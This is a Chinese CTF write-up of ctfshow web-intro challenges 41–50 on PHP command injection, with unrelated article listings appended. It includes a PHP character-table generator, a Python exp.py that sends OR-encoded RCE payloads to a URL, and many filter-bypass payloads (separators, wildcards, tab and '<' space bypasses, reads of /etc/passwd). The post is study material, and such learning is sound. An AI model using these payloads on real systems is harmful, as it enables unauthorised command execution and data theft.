@


ctf - web入门

web41

这一题参考了其他师傅的writeup:

ctfshow web入门 web41

CTFshow wbe41 教你写脚本

以及bilibili上的官方讲解:CTFshow-web入门-命令执行

震惊我这个小白一整年。

视频讲的挺清楚的,这里只记录一些理论知识了。

题解

过滤了数字和字母,以及 $、+、-、^、~
使得 异或自增 和 取反 构造字符都无法使用
但是没有过滤 或运算符 |



我们可以尝试从ascii为0-255的字符中,找到能够通过 或运算 得到的可用字符及相应url编码。

方法一

先通过以下php脚本生成一个rce_or.txt,内容是上述可用字符及编码

rce_or.php内容:

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) { if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
} else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
} }
}
fwrite($myfile,$contents);
fclose($myfile);

大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符。

再通过以下自动化脚本传参并执行想执行的命令

到这一步其实就是用python主动提交payload

用法 python exp.py url地址

exp.py代码:

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output) while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

可以如下图先运行php脚本先生成txt文件



然后运行python脚本



最后输入相应指令即可获得flag

方法二

以上相当于使用python自动化脚本。当然也可以用上述得到的txt可用字符手动构造。

用burp拦截,然后转为post请求来传递一下参数。

先根据原理来传递一下 (system)('ls') 看看

c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")



看到有回显了。那就构造 (system)(cat flag.php)

c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")

得手了

原理

system('ls')
('system')('ls')
(system)('ls')
('system')(ls)
是一样的,都可以执行
  • url编解码
  • 或运算 构造字符串
  • 示例如下:
如构造一个 (system)('ls')

("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")

其中 %13|%60=s     %19|%60=y      %14|%60=t
很明显可以看出来就是将前半部分组合到一起 | 后半部分组合到一起

web42

题解

方法一

url + ?c=cat flag.php ||

查看源码获取flag。

方法二

直接让拼接的命令换行。

url + ?c=cat flag.php%0a

原理

>/dev/null 2>&1 命令表示不回显。

参考文章:Shell脚本/dev/null 2>&1详解

要让命令回显,可以进行命令分隔,以此来绕过:

;     分号
| 只执行后面那条命令
|| 只执行前面那条命令
& 两条命令都会执行
&& 两条命令都会执行

或者直接使用 %0a(换行符,url编码)将其分隔。

web43

题解

这道题在 web42 的基础上过滤了 cat 字符串和其他一些符号。

换一个命令,且使用换行符的url编码让 >/dev/null 2>&1 换行

url + ?c=nl flag.php%0a

使用其他命令如 tac 也可以。

原理

和 web42 差不多。

>/dev/null 2>&1 命令表示不回显。

web44

题解

看题,可以简单使用通配符绕过。



方法一

url + ?c=tac fl*%0A

方法二

当然也可以如下,结果都一样。

url + ?c=tac fl''ag.php||

原理

>/dev/null 2>&1 命令表示不回显。

依旧是有关 linux 的命令与通配符。

web45

题解

多过滤了一个空格。

使用 %09 绕过即可

url + ?c=tac%09fl''ag.php||

原理

linux适用空格绕过:

<、<>、%20(space)、%09(tab)、$IFS$9、${IFS}、$IFS、{cat,/etc/passwd}、%0a(回车)

web46

题解

比之前多过滤了 “ * ”。

法一,符号绕过。

url + ?c=tac%09fl''ag.php||

法二,通配符 “ ? ”。

url + ?c=tac%09fl?g.php||

原理

linux 通配符【*】,【?】。

除此以外还有符号绕过。

web47

依旧是 Linux 命令考察。

题解

比之前多过滤了一些命令。

解:

url + ?c=nl%09fl''ag.php||

同理,其他命令也可。

web48

依旧与上题差别不大。

题解

解:

url + ?c=nl%09fl''ag.php||

web49

题解

过滤了 “ % ”。但空格绕过方法有很多。

题解:

url + ?c=tac<fla''g.php||

原理

linux适用空格绕过:

<、<>、%20(space)、%09(tab)、$IFS$9、${IFS}、$IFS、{cat,/etc/passwd}、%0a(回车)

web50

题解

多过滤了 tab 键与 “ & ”。

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

虽然但是,可沿用之前的 payload:

url + ?c=tac<>fl''ag.php||

原理

x09 为 tab键。x26为【&】。

tab 可以代替空格,& 是连接符。


若待功成拂衣去,武陵桃花笑杀人。

——《当涂赵炎少府粉图山水歌》(唐)李白

《CTFshow-Web入门》05. Web 41~50的更多相关文章

  1. 8、web入门回顾/ Http

    1 web入门回顾 web入门 1)web服务软件作用: 把本地资源共享给外部访问 2)tomcat服务器基本操作      : 启动:  %tomcat%/bin/startup.bat 关闭: % ...

  2. Web入门

    目录 Web入门 学习web路线 前端基础 三剑客的作用 BS架构 数据格式 HTTP协议 四大特性 数据格式 HTTP 状态码分类 状态码列表 案例:简易的BS架构 Web入门 什么是前端? 任何与 ...

  3. ctfshow web入门部分题目 (更新中)

    CTFSHOW(WEB) web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sq ...

  4. 关于CTFshow中Web入门42-54

    0x00前记 ​ 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的 ...

  5. ctfshow的web入门171

    web入门171 看到这个查询语句,我们可以进行相关操作 $sql = "select username,password from user where username !='flag' ...

  6. Web 开发最有用的50款 jQuery 插件集锦——《综合篇》

    这篇文章是<Web 开发最有用的50款 jQuery 插件集锦>系列的最后一篇,整个系列向大家分享了在网站开发中非常有帮助的 50 款 jQuery 插件,这些插件按用途主要有以下类别:网 ...

  7. Web 开发最有用的50款 jQuery 插件集锦——《图片特效篇》

    <Web 开发最有用的50款 jQuery 插件集锦>系列文章向大家分享最具创新的50款 jQuery 插件,这些插件分成以下类别:网页布局插件,导航插件,表格插件,滑块和转盘插件,图表插 ...

  8. python web入门程序

    python2.x web入门程序 #!/usr/bin/python # -*- coding: UTF-8 -*- # 只在python2.x 有效 import os #Python的标准库中的 ...

  9. Java web 入门知识 及HTTP协议详解

     Java  web  入门知识 及HTTP协议详解 WEB入门 WEB,在英语中web即表示网页的意思,它用于表示Internet主机上供外界访问的资源. Internet上供外界访问的Web资 ...

  10. Spring Boot 入门之 Web 篇(二)

    原文地址:Spring Boot 入门之 Web 篇(二) 博客地址:http://www.extlight.com 一.前言 上一篇<Spring Boot 入门之基础篇(一)>介绍了 ...

随机推荐

  1. 聊聊ElasticeSearch并发写的乐观锁机制

    概述 ES的多客户端并发更新是基于乐观并发控制,通过版本号机制来实现冲突检测. 关键对象 ES的老版本是用过_version字段的版本号实现乐观锁的.现在新版增加了基于_seq_no与_primary ...

  2. python 学习 ---函数(带参数)

    函数式编程最重要的是增强代码的重用性和可读性 1 def 函数名(参数): 2 3 ... 4 函数体 5 ... 函数的定义主要有如下要点: def:表示函数的关键字 函数名:函数的名称,日后根据函 ...

  3. 在 Istio 服务网格内连接外部 MySQL 数据库

    为了方便理解,以 Istio 官方提供的 Bookinfo 应用示例为例,利用 ratings 服务外部 MySQL 数据库. Bookinfo应用的架构图如下: 其中,包含四个单独的微服务: pro ...

  4. 前端学习C语言 - 第二篇(常量、运算符、控制和循环)

    常量.运算符.控制和循环 前文我们写了第一个 c 语言程序,了解了基本的数据类型.本篇将继续学习:常量.运算符.控制语句和循环语句. 常量 #define 常量 #define是用来定义常量和宏的预处 ...

  5. 面试官:“同学,你做的这几个项目都不错。但怎么问QPS你就胡说呢?”

    作者:小傅哥 博客:https://bugstack.cn 沉淀.分享.成长,让自己和他人都能有所收获! 这位同学,你比上一位面试者好多了,你的简历中做的几个项目都不错.既有业务项目,也有技术项目,看 ...

  6. Thinkphp6 连接达梦数据库

    Thinkphp6 连接达梦数据库 这里使用 IDEA phpEnv PHP7.3 Thinkphp6 桌面操作系统:Windows11 虚拟机:VMware 服务器操作系统:银河麒麟 在虚拟机操作与 ...

  7. [MAUI]用纯C#代码写两个漂亮的时钟

    @ 目录 时钟1 绘制锯齿表盘 绘制指针 绘制沿路径文本 时钟2 绘制表盘 绘制指针 项目地址 谷歌在2021年5月份推出的Android 12给我们带来了新的UI设计规范Material You,你 ...

  8. Github-Readme-Stats 简明教程

    1. 更新 Readme 文件 在你想要放置 Readme-WakaTime 的位置中放置以下注释,这将作为程序的入口 <!--START_SECTION:waka--> <!--E ...

  9. 加速体细胞突变检测分析流程-系列2(ctDNA等高深度样本)

    Sentieon●体细胞变异检测系列-2 Sentieon 致力于解决生物信息数据分析中的速度与准确度瓶颈,通过算法的深度优化和企业级的软件工程,大幅度提升NGS数据处理的效率.准确度和可靠性. 针对 ...

  10. 了解web网络基础

    TCP/IP 协议:一种规则,规定不同计算机操作系统,硬件之间怎么通信的一种规则 像这样把互联网相关联的协议集合起来总称为TCP/IP协议. TCP/IP分层管理 按照组层次分为以下四层: 应用层:决 ...